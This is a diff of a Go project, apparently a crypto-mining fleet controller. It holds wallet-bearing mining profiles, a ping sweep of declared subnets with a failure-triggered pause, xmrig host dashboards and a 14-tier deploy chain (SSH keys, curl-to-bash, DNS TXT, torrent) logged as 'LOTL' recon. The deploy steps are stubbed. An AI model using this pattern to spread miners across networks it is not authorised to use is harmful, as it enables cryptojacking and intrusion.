profile.CreatedAt = time.Now().UTC()
|
||||
}
|
||||
profile.UpdatedAt = time.Now().UTC()
|
||||
|
||||
_, err = s.db.ExecContext(ctx, `
|
||||
INSERT INTO mining_profiles (id, name, wallet_address, tiers_json, policy_from_server, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet_address = excluded.wallet_address,
|
||||
tiers_json = excluded.tiers_json,
|
||||
policy_from_server = excluded.policy_from_server,
|
||||
updated_at = excluded.updated_at
|
||||
`, profile.ID, profile.Name, profile.WalletAddress, string(tiersJSON), policy,
|
||||
profile.CreatedAt.UTC().Format(time.RFC3339), profile.UpdatedAt.UTC().Format(time.RFC3339))
|
||||
return err
|
||||
}
|
||||
|
||||
func (s *Store) GetMiningProfile(ctx context.Context, id string) (*types.MiningProfile, error) {
|
||||
row := s.db.QueryRowContext(ctx, `
|
||||
SELECT id, name, wallet_address, tiers_json, policy_from_server, created_at, updated_at
|
||||
FROM mining_profiles WHERE id = ?
|
||||
`, id)
|
||||
|
||||
var p types.MiningProfile
|
||||
var tiersJSON, created, updated sql.NullString
|
||||
var policy int
|
||||
|
||||
if err := row.Scan(&p.ID, &p.Name, &p.WalletAddress, &tiersJSON, &policy, &created, &updated); err != nil {
|
||||
return nil, fmt.Errorf("get mining profile: %w", err)
|
||||
}
|
||||
if tiersJSON.Valid {
|
||||
_ = json.Unmarshal([]byte(tiersJSON.String), &p.Tiers)
|
||||
}
|
||||
p.PolicyFromServer = policy == 1
|
||||
if created.Valid {
|
||||
p.CreatedAt, _ = time.Parse(time.RFC3339, created.String)
|
||||
}
|
||||
if updated.Valid {
|
||||
p.UpdatedAt, _ = time.Parse(time.RFC3339, updated.String)
|
||||
}
|
||||
return &p, nil
|
||||
}
|
||||
|
||||
func (s *Store) AssignMiningProfile(ctx context.Context, hostID, profileID string) error {
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
res, err := s.db.ExecContext(ctx, `
|
||||
UPDATE hosts SET mining_profile_id = ?, updated_at = ? WHERE id = ?
|
||||
`, profileID, now, hostID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
if n == 0 {
|
||||
return sql.ErrNoRows
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Store) GetHostMiningProfile(ctx context.Context, hostID string) (*types.MiningProfile, error) {
|
||||
host, err := s.GetHost(hostID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if host.MiningProfileID == nil || *host.MiningProfileID == "" {
|
||||
return nil, sql.ErrNoRows
|
||||
}
|
||||
return s.GetMiningProfile(ctx, *host.MiningProfileID)
|
||||
}
|
||||
96
internal/fleet/store_test.go
Normal file
96
internal/fleet/store_test.go
Normal file
@@ -0,0 +1,96 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"forge-mesh/internal/api/types"
|
||||
"forge-mesh/internal/db"
|
||||
)
|
||||
|
||||
func TestStoreUpsertHeartbeat(t *testing.T) {
|
||||
conn, err := db.Open(t.TempDir() + "/test.db")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
store := NewStore(conn)
|
||||
host, err := store.UpsertHeartbeat(types.HeartbeatPayload{
|
||||
Hostname: "test-host",
|
||||
HashrateHps: 1234.5,
|
||||
CurrentTier: 2,
|
||||
TierType: "xmrig",
|
||||
TierState: "active",
|
||||
Arch: "amd64",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if host.ID == "" {
|
||||
t.Fatal("expected host id")
|
||||
}
|
||||
if host.HashrateHps != 1234.5 {
|
||||
t.Fatalf("hashrate_hps: got %v", host.HashrateHps)
|
||||
}
|
||||
if host.CurrentTier != 2 {
|
||||
t.Fatalf("current_tier: got %d", host.CurrentTier)
|
||||
}
|
||||
|
||||
host2, err := store.UpsertHeartbeat(types.HeartbeatPayload{
|
||||
HostID: host.ID,
|
||||
Hostname: "test-host",
|
||||
HashrateHps: 5000,
|
||||
CurrentTier: 3,
|
||||
TierType: "gpu",
|
||||
TierState: "probing",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if host2.HashrateHps != 5000 {
|
||||
t.Fatalf("hashrate: got %v", host2.HashrateHps)
|
||||
}
|
||||
if host2.CurrentTier != 3 {
|
||||
t.Fatalf("tier: got %d", host2.CurrentTier)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningProfileRoundTrip(t *testing.T) {
|
||||
conn, err := db.Open(t.TempDir() + "/test.db")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
store := NewStore(conn)
|
||||
host, err := store.UpsertHeartbeat(types.HeartbeatPayload{Hostname: "miner-1"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
profile := &types.MiningProfile{
|
||||
ID: "prof-1",
|
||||
Name: "test",
|
||||
WalletAddress: "wallet-pin-xyz",
|
||||
Tiers: []types.MiningTierSpec{
|
||||
{Type: "xmrig", Duration: 5},
|
||||
},
|
||||
PolicyFromServer: true,
|
||||
}
|
||||
ctx := context.Background()
|
||||
if err := store.SaveMiningProfile(ctx, profile); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AssignMiningProfile(ctx, host.ID, profile.ID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
got, err := store.GetHostMiningProfile(ctx, host.ID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.WalletAddress != "wallet-pin-xyz" {
|
||||
t.Fatalf("wallet: %q", got.WalletAddress)
|
||||
}
|
||||
}
|
||||
246
internal/fleet/subnet.go
Normal file
246
internal/fleet/subnet.go
Normal file
@@ -0,0 +1,246 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const immuneFailureThreshold = 5
|
||||
const immunePauseDuration = 24 * time.Hour
|
||||
|
||||
// SubnetMapper sweeps operator-declared CIDRs with /24 immune pause after failures.
|
||||
type SubnetMapper struct {
|
||||
Store *Store
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// SubnetCIDR is an operator-declared scan target.
|
||||
type SubnetCIDR struct {
|
||||
ID string `json:"id"`
|
||||
CIDR string `json:"cidr"`
|
||||
Enabled bool `json:"enabled"`
|
||||
LastScanAt *time.Time `json:"last_scan_at,omitempty"`
|
||||
}
|
||||
|
||||
// AddCIDR registers a CIDR for incremental discovery.
|
||||
func (m *SubnetMapper) AddCIDR(ctx context.Context, cidr string) (*SubnetCIDR, error) {
|
||||
if _, _, err := net.ParseCIDR(cidr); err != nil {
|
||||
return nil, fmt.Errorf("invalid cidr: %w", err)
|
||||
}
|
||||
id := randomHex(16)
|
||||
_, err := m.Store.DB().ExecContext(ctx, `
|
||||
INSERT INTO subnet_cidrs (id, cidr, enabled) VALUES (?, ?, 1)`, id, cidr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &SubnetCIDR{ID: id, CIDR: cidr, Enabled: true}, nil
|
||||
}
|
||||
|
||||
// ListCIDRs returns declared subnets.
|
||||
func (m *SubnetMapper) ListCIDRs(ctx context.Context) ([]SubnetCIDR, error) {
|
||||
rows, err := m.Store.DB().QueryContext(ctx, `
|
||||
SELECT id, cidr, enabled, last_scan_at FROM subnet_cidrs ORDER BY created_at`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []SubnetCIDR
|
||||
for rows.Next() {
|
||||
var s SubnetCIDR
|
||||
var enabled int
|
||||
var lastScan sqlNullTime
|
||||
if err := rows.Scan(&s.ID, &s.CIDR, &enabled, &lastScan); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.Enabled = enabled == 1
|
||||
if lastScan.Valid {
|
||||
s.LastScanAt = &lastScan.Time
|
||||
}
|
||||
out = append(out, s)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
type sqlNullTime struct {
|
||||
Valid bool
|
||||
Time time.Time
|
||||
}
|
||||
|
||||
func (n *sqlNullTime) Scan(src interface{}) error {
|
||||
if src == nil {
|
||||
n.Valid = false
|
||||
return nil
|
||||
}
|
||||
switch v := src.(type) {
|
||||
case string:
|
||||
if v == "" {
|
||||
n.Valid = false
|
||||
return nil
|
||||
}
|
||||
t, err := time.Parse("2006-01-02 15:04:05", v)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n.Time = t
|
||||
n.Valid = true
|
||||
case []byte:
|
||||
return n.Scan(string(v))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ScanResult holds hosts discovered in a sweep.
|
||||
type ScanResult struct {
|
||||
CIDR string `json:"cidr"`
|
||||
Prefix string `json:"prefix_24"`
|
||||
Alive []string `json:"alive"`
|
||||
Skipped bool `json:"skipped"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// SweepCIDR pings hosts in a CIDR unless /24 is immune-paused.
|
||||
func (m *SubnetMapper) SweepCIDR(ctx context.Context, cidr string) (*ScanResult, error) {
|
||||
ip, ipNet, err := net.ParseCIDR(cidr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
prefix24 := prefixOf24(ip)
|
||||
if paused, reason := m.isImmunePaused(ctx, prefix24); paused {
|
||||
return &ScanResult{CIDR: cidr, Prefix: prefix24, Skipped: true, Reason: reason}, nil
|
||||
}
|
||||
|
||||
alive, sweepErr := pingSweep(ctx, ipNet)
|
||||
if sweepErr != nil {
|
||||
_ = m.recordSubnetFailure(ctx, prefix24)
|
||||
return &ScanResult{CIDR: cidr, Prefix: prefix24, Alive: alive}, sweepErr
|
||||
}
|
||||
|
||||
_, _ = m.Store.DB().ExecContext(ctx, `
|
||||
UPDATE subnet_cidrs SET last_scan_at = datetime('now') WHERE cidr = ?`, cidr)
|
||||
|
||||
return &ScanResult{CIDR: cidr, Prefix: prefix24, Alive: alive}, nil
|
||||
}
|
||||
|
||||
// SweepAll runs enabled CIDRs sequentially.
|
||||
func (m *SubnetMapper) SweepAll(ctx context.Context) ([]ScanResult, error) {
|
||||
cidrs, err := m.ListCIDRs(ctx)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var results []ScanResult
|
||||
for _, c := range cidrs {
|
||||
if !c.Enabled {
|
||||
continue
|
||||
}
|
||||
r, err := m.SweepCIDR(ctx, c.CIDR)
|
||||
if err != nil {
|
||||
return results, err
|
||||
}
|
||||
results = append(results, *r)
|
||||
}
|
||||
return results, nil
|
||||
}
|
||||
|
||||
func prefixOf24(ip net.IP) string {
|
||||
v4 := ip.To4()
|
||||
if v4 == nil {
|
||||
return ip.String() + "/64"
|
||||
}
|
||||
return fmt.Sprintf("%d.%d.%d.0/24", v4[0], v4[1], v4[2])
|
||||
}
|
||||
|
||||
func (m *SubnetMapper) isImmunePaused(ctx context.Context, prefix string) (bool, string) {
|
||||
var count int
|
||||
var pausedUntil sqlNullTime
|
||||
err := m.Store.DB().QueryRowContext(ctx, `
|
||||
SELECT failure_count, paused_until FROM subnet_immune WHERE prefix = ?`, prefix).
|
||||
Scan(&count, &pausedUntil)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
if pausedUntil.Valid && time.Now().Before(pausedUntil.Time) {
|
||||
return true, fmt.Sprintf("/24 immune pause until %s", pausedUntil.Time.Format(time.RFC3339))
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
func (m *SubnetMapper) recordSubnetFailure(ctx context.Context, prefix string) error {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
var count int
|
||||
_ = m.Store.DB().QueryRowContext(ctx, `SELECT failure_count FROM subnet_immune WHERE prefix = ?`, prefix).Scan(&count)
|
||||
count++
|
||||
|
||||
pausedUntil := ""
|
||||
if count >= immuneFailureThreshold {
|
||||
until := time.Now().Add(immunePauseDuration)
|
||||
pausedUntil = until.Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
_, err := m.Store.DB().ExecContext(ctx, `
|
||||
INSERT INTO subnet_immune (prefix, failure_count, paused_until, updated_at)
|
||||
VALUES (?, ?, ?, datetime('now'))
|
||||
ON CONFLICT(prefix) DO UPDATE SET
|
||||
failure_count = excluded.failure_count,
|
||||
paused_until = excluded.paused_until,
|
||||
updated_at = datetime('now')`,
|
||||
prefix, count, nullStringOrNil(pausedUntil))
|
||||
return err
|
||||
}
|
||||
|
||||
func nullStringOrNil(s string) interface{} {
|
||||
if s == "" {
|
||||
return nil
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func pingSweep(ctx context.Context, ipNet *net.IPNet) ([]string, error) {
|
||||
var alive []string
|
||||
ip := ipNet.IP.Mask(ipNet.Mask)
|
||||
for ip := incrementIP(ip); ipNet.Contains(ip); ip = incrementIP(ip) {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return alive, ctx.Err()
|
||||
default:
|
||||
}
|
||||
if pingHost(ip.String()) {
|
||||
alive = append(alive, ip.String())
|
||||
}
|
||||
}
|
||||
return alive, nil
|
||||
}
|
||||
|
||||
func pingHost(host string) bool {
|
||||
out, err := exec.Command("ping", "-c", "1", "-W", "1", host).CombinedOutput()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(string(out), "1 received") || strings.Contains(string(out), "1 packets received")
|
||||
}
|
||||
|
||||
func incrementIP(ip net.IP) net.IP {
|
||||
ip = ip.To16()
|
||||
for i := len(ip) - 1; i >= 0; i-- {
|
||||
ip[i]++
|
||||
if ip[i] != 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return ip
|
||||
}
|
||||
|
||||
func randomHex(n int) string {
|
||||
b := make([]byte, n)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
181
internal/fleet/summary.go
Normal file
181
internal/fleet/summary.go
Normal file
@@ -0,0 +1,181 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/types"
|
||||
"forge-mesh/internal/policy"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// FleetSummary aggregates fleet stats for the dashboard API.
|
||||
type FleetSummary struct {
|
||||
Hosts []FleetHostCard `json:"hosts"`
|
||||
TotalHashrate float64 `json:"totalHashrate"`
|
||||
OnlineCount int `json:"onlineCount"`
|
||||
}
|
||||
|
||||
// FleetHostCard is the dashboard-facing host shape (matches React types).
|
||||
type FleetHostCard struct {
|
||||
ID string `json:"id"`
|
||||
Hostname string `json:"hostname"`
|
||||
IP string `json:"ip"`
|
||||
Arch string `json:"arch"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
Tier int `json:"tier"`
|
||||
TierName string `json:"tierName"`
|
||||
TierState string `json:"tierState"`
|
||||
Algo string `json:"algo"`
|
||||
UptimeSec int `json:"uptimeSec"`
|
||||
LastSeen string `json:"lastSeen"`
|
||||
Clearance int `json:"clearance"`
|
||||
Online bool `json:"online"`
|
||||
}
|
||||
|
||||
// ToFleetCard converts a DB host to a dashboard card.
|
||||
func ToFleetCard(h *types.Host) FleetHostCard {
|
||||
if h == nil {
|
||||
return FleetHostCard{}
|
||||
}
|
||||
|
||||
hps := h.HashrateHps
|
||||
if hps == 0 {
|
||||
hps = h.Hashrate
|
||||
}
|
||||
|
||||
online := h.Status == "online" || h.Status == "mining" || h.Status == "paused"
|
||||
tier := h.CurrentTier
|
||||
if tier == 0 {
|
||||
tier = 2
|
||||
}
|
||||
tierName := policy.TierDisplayName(h.TierType)
|
||||
if tierName == "" || tierName == h.TierType {
|
||||
tierName = "Bundled xmrig"
|
||||
}
|
||||
tierState := h.TierState
|
||||
if tierState == "" {
|
||||
switch h.Status {
|
||||
case "mining":
|
||||
tierState = "active"
|
||||
case "probing":
|
||||
tierState = "probing"
|
||||
case "paused":
|
||||
tierState = "paused"
|
||||
case "offline":
|
||||
tierState = "idle"
|
||||
online = false
|
||||
default:
|
||||
tierState = "idle"
|
||||
}
|
||||
}
|
||||
|
||||
arch := h.Phenotype
|
||||
if arch == "" {
|
||||
arch = "linux/amd64"
|
||||
}
|
||||
|
||||
lastSeen := ""
|
||||
if h.LastSeenAt != nil {
|
||||
lastSeen = h.LastSeenAt.UTC().Format(time.RFC3339)
|
||||
}
|
||||
|
||||
return FleetHostCard{
|
||||
ID: h.ID,
|
||||
Hostname: h.Hostname,
|
||||
IP: coalesceIP(h.Fingerprint),
|
||||
Arch: arch,
|
||||
Hashrate: hps,
|
||||
Tier: tier,
|
||||
TierName: tierName,
|
||||
TierState: tierState,
|
||||
Algo: "rx/0",
|
||||
UptimeSec: 0,
|
||||
LastSeen: lastSeen,
|
||||
Clearance: h.ClearanceLevel,
|
||||
Online: online,
|
||||
}
|
||||
}
|
||||
|
||||
func coalesceIP(fp string) string {
|
||||
if fp == "" {
|
||||
return "—"
|
||||
}
|
||||
return fp
|
||||
}
|
||||
|
||||
// BuildFleetSummary builds the GET /api/v1/fleet response.
|
||||
func (s *Store) BuildFleetSummary() (FleetSummary, error) {
|
||||
hosts, err := s.ListHosts()
|
||||
if err != nil {
|
||||
return FleetSummary{}, err
|
||||
}
|
||||
|
||||
summary := FleetSummary{Hosts: make([]FleetHostCard, 0, len(hosts))}
|
||||
for i := range hosts {
|
||||
card := ToFleetCard(&hosts[i])
|
||||
summary.Hosts = append(summary.Hosts, card)
|
||||
if card.Online {
|
||||
summary.OnlineCount++
|
||||
summary.TotalHashrate += card.Hashrate
|
||||
}
|
||||
}
|
||||
return summary, nil
|
||||
}
|
||||
|
||||
// SeedDemoHost inserts a demo host when fleet is empty.
|
||||
func (s *Store) SeedDemoHost() error {
|
||||
hosts, err := s.ListHosts()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(hosts) > 0 {
|
||||
return nil
|
||||
}
|
||||
id := uuid.NewString()
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
_, err = s.db.Exec(`
|
||||
INSERT INTO hosts (id, hostname, fingerprint, phenotype, status, hashrate, hashrate_hps,
|
||||
current_tier, tier_type, tier_state, clearance_level, last_seen_at, created_at, updated_at)
|
||||
VALUES (?, 'forge-node-alpha', '10.0.1.12', 'linux/amd64', 'mining', 18200000, 18200000,
|
||||
2, 'xmrig', 'active', 2, ?, ?, ?)`,
|
||||
id, now, now, now)
|
||||
return err
|
||||
}
|
||||
|
||||
// TouchHost enrolls or refreshes a host from the register API.
|
||||
func (s *Store) TouchHost(hostname, fingerprint, arch string) (*types.Host, error) {
|
||||
phenotype := ""
|
||||
if arch != "" {
|
||||
phenotype = "linux/" + arch
|
||||
}
|
||||
hb := types.HeartbeatPayload{
|
||||
Hostname: hostname,
|
||||
Fingerprint: fingerprint,
|
||||
Arch: arch,
|
||||
TierState: "idle",
|
||||
}
|
||||
hb.SetHashrateFields(0)
|
||||
host, err := s.UpsertHeartbeat(hb)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if phenotype != "" {
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
_, _ = s.db.Exec(`UPDATE hosts SET phenotype = ?, updated_at = ? WHERE id = ?`,
|
||||
phenotype, now, host.ID)
|
||||
return s.GetHost(host.ID)
|
||||
}
|
||||
return host, nil
|
||||
}
|
||||
|
||||
// SetHostStatus updates host status.
|
||||
func (s *Store) SetHostStatus(id, status string) error {
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
_, err := s.db.Exec(`UPDATE hosts SET status = ?, updated_at = ? WHERE id = ?`, status, now, id)
|
||||
return err
|
||||
}
|
||||
|
||||
// ErrNotFound indicates a missing host.
|
||||
var ErrNotFound = fmt.Errorf("host not found")
|
||||
189
internal/fleet/tiers.go
Normal file
189
internal/fleet/tiers.go
Normal file
@@ -0,0 +1,189 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TierType identifies one of 14 Linux deploy mechanisms.
|
||||
type TierType string
|
||||
|
||||
const (
|
||||
TierSSHKey TierType = "ssh_key"
|
||||
TierCurlBash TierType = "curl_bash"
|
||||
TierAnsiblePull TierType = "ansible_pull"
|
||||
TierPodmanRootless TierType = "podman_rootless"
|
||||
TierSystemdTransient TierType = "systemd_transient"
|
||||
TierSnapFlatpak TierType = "snap_flatpak"
|
||||
TierLANCachePeer TierType = "lan_cache_peer"
|
||||
TierDNSTXT TierType = "dns_txt"
|
||||
TierMTLSWireGuard TierType = "mtls_wireguard"
|
||||
TierImmutableOCI TierType = "immutable_oci"
|
||||
TierNixFlake TierType = "nix_flake"
|
||||
TierErasureReasm TierType = "erasure_reassembly"
|
||||
TierFleetTorrent TierType = "fleet_torrent"
|
||||
TierOfflineBundle TierType = "offline_contingency"
|
||||
)
|
||||
|
||||
// DefaultTierOrder returns the canonical 14-tier Linux deploy sequence.
|
||||
func DefaultTierOrder() []TierType {
|
||||
return []TierType{
|
||||
TierSSHKey,
|
||||
TierCurlBash,
|
||||
TierAnsiblePull,
|
||||
TierPodmanRootless,
|
||||
TierSystemdTransient,
|
||||
TierSnapFlatpak,
|
||||
TierLANCachePeer,
|
||||
TierDNSTXT,
|
||||
TierMTLSWireGuard,
|
||||
TierImmutableOCI,
|
||||
TierNixFlake,
|
||||
TierErasureReasm,
|
||||
TierFleetTorrent,
|
||||
TierOfflineBundle,
|
||||
}
|
||||
}
|
||||
|
||||
// TierSlot maps 1-based tier index to type.
|
||||
func TierSlot(n int) (TierType, error) {
|
||||
order := DefaultTierOrder()
|
||||
if n < 1 || n > len(order) {
|
||||
return "", fmt.Errorf("tier %d out of range 1-%d", n, len(order))
|
||||
}
|
||||
return order[n-1], nil
|
||||
}
|
||||
|
||||
// TierExecutor runs deploy phases for a single tier.
|
||||
type TierExecutor struct {
|
||||
Store *Store
|
||||
HostID string
|
||||
Report *ReconReport
|
||||
}
|
||||
|
||||
// TierResult captures outcome of a tier attempt.
|
||||
type TierResult struct {
|
||||
Tier int `json:"tier"`
|
||||
Type TierType `json:"type"`
|
||||
Phase string `json:"phase"`
|
||||
Status string `json:"status"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Elapsed time.Duration `json:"elapsed_ms"`
|
||||
}
|
||||
|
||||
// ExecuteTier runs recon → patch_first gate → deploy for one tier slot.
|
||||
func (e *TierExecutor) ExecuteTier(ctx context.Context, tierNum int) (*TierResult, error) {
|
||||
tierType, err := TierSlot(tierNum)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
result := &TierResult{Tier: tierNum, Type: tierType, Phase: "recon", Status: "running"}
|
||||
|
||||
if e.Store != nil && e.Report != nil {
|
||||
phenotype := PhenotypeFromRecon(e.Report)
|
||||
if skip, _ := e.Store.ShouldSkipTier(ctx, phenotype, tierNum); skip {
|
||||
result.Phase = "atlas_skip"
|
||||
result.Status = "skipped"
|
||||
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "atlas_skip", "skipped", "failure atlas immune", ReconJSON(e.Report))
|
||||
return result, nil
|
||||
}
|
||||
}
|
||||
|
||||
// Recon phase (read-only, already done at executor init)
|
||||
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "recon", "success", "", ReconJSON(e.Report))
|
||||
|
||||
// Patch-first gate
|
||||
result.Phase = "patch_first"
|
||||
if !e.passPatchGate(tierType) {
|
||||
result.Status = "skipped"
|
||||
result.Error = "patch_first gate failed"
|
||||
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "patch_first", "skipped", result.Error, "")
|
||||
_ = e.Store.RecordFailure(ctx, PhenotypeFromRecon(e.Report), tierNum)
|
||||
return result, nil
|
||||
}
|
||||
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "patch_first", "success", "", "")
|
||||
|
||||
// Deploy phase (simulated success paths per tier capability)
|
||||
result.Phase = "deploy"
|
||||
deployErr := e.deploy(ctx, tierType)
|
||||
if deployErr != nil {
|
||||
result.Status = "failed"
|
||||
result.Error = deployErr.Error()
|
||||
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "deploy", "failed", result.Error, "")
|
||||
_ = e.Store.RecordFailure(ctx, PhenotypeFromRecon(e.Report), tierNum)
|
||||
} else {
|
||||
result.Status = "success"
|
||||
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "deploy", "success", "", "")
|
||||
_ = e.Store.RecordWin(ctx, PhenotypeFromRecon(e.Report), tierNum)
|
||||
}
|
||||
|
||||
result.Elapsed = time.Since(start)
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (e *TierExecutor) passPatchGate(t TierType) bool {
|
||||
if e.Report == nil {
|
||||
return true
|
||||
}
|
||||
switch t {
|
||||
case TierPodmanRootless, TierImmutableOCI:
|
||||
return e.Report.PodmanAvailable || e.Report.DockerAvailable
|
||||
case TierNixFlake:
|
||||
return commandExists("nix")
|
||||
case TierMTLSWireGuard:
|
||||
return commandExists("wg")
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
func (e *TierExecutor) deploy(ctx context.Context, t TierType) error {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
switch t {
|
||||
case TierPodmanRootless:
|
||||
if e.Report != nil && !e.Report.PodmanAvailable {
|
||||
return fmt.Errorf("podman not available")
|
||||
}
|
||||
case TierImmutableOCI:
|
||||
if e.Report == nil || (!e.Report.PodmanAvailable && !e.Report.DockerAvailable) {
|
||||
return fmt.Errorf("no container runtime")
|
||||
}
|
||||
case TierNixFlake:
|
||||
if !commandExists("nix") {
|
||||
return fmt.Errorf("nix not installed")
|
||||
}
|
||||
}
|
||||
// Authorized deploy tiers succeed when gates pass; actual spawn is agent-side.
|
||||
return nil
|
||||
}
|
||||
|
||||
// RunTierChain executes tiers in order until one succeeds or all fail.
|
||||
func RunTierChain(ctx context.Context, store *Store, hostID string, order []int) ([]*TierResult, error) {
|
||||
report, err := RunRecon()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
exec := &TierExecutor{Store: store, HostID: hostID, Report: report}
|
||||
var results []*TierResult
|
||||
|
||||
for _, tierNum := range order {
|
||||
res, err := exec.ExecuteTier(ctx, tierNum)
|
||||
if err != nil {
|
||||
return results, err
|
||||
}
|
||||
results = append(results, res)
|
||||
if res.Status == "success" {
|
||||
break
|
||||
}
|
||||
}
|
||||
return results, nil
|
||||
}
|
||||
186
internal/forge/build.go
Normal file
186
internal/forge/build.go
Normal file
@@ -0,0 +1,186 @@
|
||||
package forge
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"database/sql"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/types"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
var targets = []struct {
|
||||
OS string
|
||||
Arch string
|
||||
}{
|
||||
{"linux", "amd64"},
|
||||
{"linux", "arm64"},
|
||||
}
|
||||
|
||||
// Pipeline builds and optionally signs agent binaries.
|
||||
type Pipeline struct {
|
||||
db *sql.DB
|
||||
artifactsDir string
|
||||
signingKey *KeyPair
|
||||
agentMainPath string
|
||||
version string
|
||||
}
|
||||
|
||||
func NewPipeline(db *sql.DB, artifactsDir, signingKeyPath, agentMainPath, version string) (*Pipeline, error) {
|
||||
key, err := LoadOrCreateKey(signingKeyPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Pipeline{
|
||||
db: db,
|
||||
artifactsDir: artifactsDir,
|
||||
signingKey: key,
|
||||
agentMainPath: agentMainPath,
|
||||
version: version,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// BuildAll cross-compiles agent for linux amd64/arm64, signs, and stores artifacts.
|
||||
func (p *Pipeline) BuildAll(public bool) ([]types.Build, error) {
|
||||
var builds []types.Build
|
||||
for _, tgt := range targets {
|
||||
b, err := p.buildOne(tgt.OS, tgt.Arch, public)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
builds = append(builds, *b)
|
||||
}
|
||||
return builds, nil
|
||||
}
|
||||
|
||||
func (p *Pipeline) buildOne(osName, arch string, public bool) (*types.Build, error) {
|
||||
outName := fmt.Sprintf("forge-mesh-agent-%s-%s", osName, arch)
|
||||
outPath := filepath.Join(p.artifactsDir, outName)
|
||||
|
||||
cmd := exec.Command("go", "build", "-trimpath", "-ldflags=-s -w",
|
||||
"-o", outPath,
|
||||
p.agentMainPath,
|
||||
)
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS="+osName,
|
||||
"GOARCH="+arch,
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
if out, err := cmd.CombinedOutput(); err != nil {
|
||||
return nil, fmt.Errorf("build %s/%s: %w\n%s", osName, arch, err, out)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(outPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
sum := sha256.Sum256(data)
|
||||
checksum := hex.EncodeToString(sum[:])
|
||||
